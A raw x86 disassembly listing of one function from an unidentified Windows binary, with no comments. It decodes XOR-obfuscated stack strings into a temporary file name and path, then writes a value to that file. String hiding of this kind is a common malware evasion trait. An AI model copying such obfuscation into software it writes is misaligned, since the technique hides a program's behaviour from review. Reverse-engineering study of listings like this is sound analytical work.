xorps xmm0, xmm0
mov dword [ebp - 0x39], 0xc69fe0e2
xor ecx, ecx
mov word [ebp - 0x35], 0xc4de
movups xmmword [ebp - 0x33], xmm0
mov dword [ebp - 0x23], 0
mov word [ebp - 0x1f], 0
mov byte [ebp - 0x1d], 0
nop
mov al, cl
sub al, 0x51
xor byte [ebp + ecx - 0x39], al
inc ecx
cmp ecx, 6
jb 0x423400
mov dword [0x565548], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x39]
mov byte [ebp - 0x33], 0
movups xmmword [ebp - 0x174], xmm0
mov dword [ebp - 0x164], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x160], 0
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x423440
sub ecx, edx
lea eax, [ebp - 0x39]
push ecx
push eax
lea ecx, [ebp - 0x174]
call fcn.00402c40
mov byte [ebp - 4], 0x4c
lea esi, [ebp - 0x174]
cmp dword [ebp - 0x160], 0x10
xorps xmm0, xmm0
mov dword [ebp - 0x38], 0xd5d0c2f3
cmovae esi, dword [ebp - 0x174]
xor ecx, ecx
mov byte [ebp - 0x34], 0xd6
movups xmmword [ebp - 0x33], xmm0
mov dword [ebp - 0x23], 0
mov word [ebp - 0x1f], 0
mov byte [ebp - 0x1d], 0
mov al, cl
sub al, 0x51
xor byte [ebp + ecx - 0x38], al
inc ecx
cmp ecx, 5
jb 0x423496
mov dword [0x565544], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x38]
mov byte [ebp - 0x33], 0
movups xmmword [ebp - 0x12c], xmm0
mov dword [ebp - 0x11c], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x118], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4234d2
sub ecx, edx
lea eax, [ebp - 0x38]
push ecx
push eax
lea ecx, [ebp - 0x12c]
call fcn.00402c40
mov byte [ebp - 4], 0x4d
lea edx, [ebp - 0x12c]
cmp dword [ebp - 0x118], 0x10
cmovae edx, dword [ebp - 0x12c]
mov ecx, edx
lea edi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x423508
sub ecx, edi
mov eax, closesocket
mov edi, dword [0x562b3c]
sub eax, edi
cmp eax, ecx
jb 0x423a52
cmp dword [0x562b40], 0x10
mov eax, 0x562b2c
push edi
cmovae eax, dword [0x562b2c]
push eax
push ecx
push edx
push ecx
push dword [ebp - 0x80]
lea ecx, [ebp - 0x18c]
call fcn.004946d0
push esi
lea ecx, [ebp - 0x18c]
mov byte [ebp - 4], 0x4e
call fcn.0048c9d0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0xe4], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0xd4], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0xe4]
mov byte [ebp - 4], 0x4f
push eax
lea ecx, [ebp - 0x64]
call fcn.0048ca40
mov byte [ebp - 4], 0x4e
mov ecx, dword [ebp - 0xd0]
cmp ecx, 0x10
jb 0x4235d5
mov edx, dword [ebp - 0xe4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4235cb
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x423a57
push ecx
push edx
call fcn.00504f31
add esp, 8
mov byte [ebp - 4], 0x4d
mov ecx, dword [ebp - 0x178]
cmp ecx, 0x10
jb 0x423613
mov edx, dword [ebp - 0x18c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x423609
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x423a57
push ecx
push edx
call fcn.00504f31
add esp, 8
mov byte [ebp - 4], 0x4c
mov ecx, dword [ebp - 0x118]
mov dword [ebp - 0x17c], 0
mov dword [ebp - 0x178], 0xf
mov byte [ebp - 0x18c], 0
cmp ecx, 0x10
jb 0x42366c
mov edx, dword [ebp - 0x12c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x423662
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x423a57
push ecx
push edx
call fcn.00504f31
add esp, 8
mov byte [ebp - 4], 0x4b
mov ecx, dword [ebp - 0x160]
cmp ecx, 0x10
jb 0x4236aa
mov edx, dword [ebp - 0x174]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4236a0
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x423a57
push ecx
push edx
call fcn.00504f31
add esp, 8
xorps xmm0, xmm0
mov word [ebp - 0x35], 0xd2d8
movups xmmword [ebp - 0x33], xmm0
mov dword [ebp - 0x23], 0
xor ecx, ecx
mov word [ebp - 0x1f], 0
mov byte [ebp - 0x1d], 0
nop word [eax + eax]
mov al, cl
sub al, 0x51
xor byte [ebp + ecx - 0x35], al
inc ecx
cmp ecx, 2
jb 0x4236d0
mov dword [0x565598], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x35]
mov byte [ebp - 0x33], 0
movups xmmword [ebp - 0x114], xmm0
mov dword [ebp - 0x104], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x100], 0
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x423710
sub ecx, edx
lea eax, [ebp - 0x35]
push ecx
push eax
lea ecx, [ebp - 0x114]
call fcn.00402c40
cmp dword [ebp - 0x100], 0x10
lea ecx, [ebp - 0x114]
lea eax, [ebp - 0x64]
cmovae ecx, dword [ebp - 0x114]
cmp dword [ebp - 0x50], 0x10
push ecx
cmovae eax, dword [ebp - 0x64]
push eax
call fcn.0050ad80
mov ecx, dword [ebp - 0x100]
add esp, 8
mov esi, eax
cmp ecx, 0x10
jb 0x42378e
mov edx, dword [ebp - 0x114]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x423784
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x423a5c
push ecx
push edx
call fcn.00504f31
add esp, 8
mov dword [ebp - 0x104], 0
mov dword [ebp - 0x100], 0xf
mov byte [ebp - 0x114], 0
test esi, esi
je 0x4238a2
call fcn.0041b380
test edx, edx
jg 0x4237dd
jl 0x4237c0
test eax, eax
jae 0x4237dd
neg eax
lea ecx, [ebp - 0x9b]
adc edx, 0
neg edx
push edx
push eax
call fcn.00497800
mov byte [eax - 1], 0x2d
lea ecx, [eax - 1]
jmp 0x4237ec
push edx
push eax
lea ecx, [ebp - 0x9b]
call fcn.00497800
mov ecx, eax
xor edx, edx
lea eax, [ebp - 0x9b]
add esp, 8
mov dword [ebp - 0x88], edx
mov dword [ebp - 0x84], edx
xorps xmm0, xmm0
movups xmmword [ebp - 0x98], xmm0
cmp ecx, eax
jne 0x423824
mov ecx, 0xf
mov byte [ebp - 0x98], dl
mov dword [ebp - 0x84], ecx
jmp 0x423845
lea eax, [ebp - 0x9b]
sub eax, ecx
push eax
push ecx
lea ecx, [ebp - 0x98]
call fcn.00402c40
mov ecx, dword [ebp - 0x84]
mov edx, dword [ebp - 0x88]
push esi
cmp ecx, 0x10
lea eax, [ebp - 0x98]
push edx
cmovae eax, dword [ebp - 0x98]
push 1
push eax
call fcn.00512b86
push esi
call fcn.0050e798
mov ecx, dword [ebp - 0x84]
add esp, 0x14
cmp ecx, 0x10
jb 0x4238a2
mov edx, dword [ebp - 0x98]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x423898
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x423a61
push ecx
push edx
call fcn.00504f31
add esp, 8
mov ecx, dword [ebp - 0x50]
cmp ecx, 0x10
jb 0x4238d6
mov edx, dword [ebp - 0x64]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4238cc
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x423a66
push ecx
push edx
call fcn.00504f31
add esp, 8
mov ecx, dword [ebp - 0x1ec]
cmp ecx, 0x10
jb 0x423910
mov edx, dword [ebp - 0x200]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x423906
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x423a6b
push ecx
push edx
call fcn.00504f31
add esp, 8
mov ecx, dword [ebp - 0x1d4]
mov dword [ebp - 0x1f0], 0
mov dword [ebp - 0x1ec], 0xf
mov byte [ebp - 0x200], 0
cmp ecx, 0x10
jb 0x423965
mov edx, dword [ebp - 0x1e8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42395b
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x423a6b
push ecx
push edx
call fcn.00504f31
add esp, 8
mov ecx, dword [ebp - 0x268]
cmp ecx, 0x10
jb 0x42399f
mov edx, dword [ebp - 0x27c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x423995
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x423a6b
push ecx
push edx
call fcn.00504f31
add esp, 8
mov ecx, dword [ebp - 0x208]
cmp ecx, 0x10
jb 0x4239d9
mov edx, dword [ebp - 0x21c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4239cf
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x423a6b
push ecx
push edx
call fcn.00504f31
add esp, 8
mov ecx, dword [ebp - 0xc]
pop edi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.004024b0
call fcn.004024b0
call fcn.004024b0
call fcn.0050a1d0
push eax
call fcn.00503edb
call fcn.004024b0
call fcn.0050a1d0
call fcn.0050a1d0
call fcn.0050a1d0
call fcn.0050a1d0
call fcn.0050a1d0
call fcn.0050a1d0
push eax
call fcn.00503edb
call fcn.0050a1d0
call fcn.004024b0
call fcn.0050a1d0
call fcn.0050a1d0
call fcn.0050a1d0
call fcn.0050a1d0
call fcn.0050a1d0
call fcn.004024b0
call fcn.0050a1d0
call fcn.0050a1d0
call fcn.0050a1d0
call fcn.0050a1d0
call fcn.0050a1d0
int3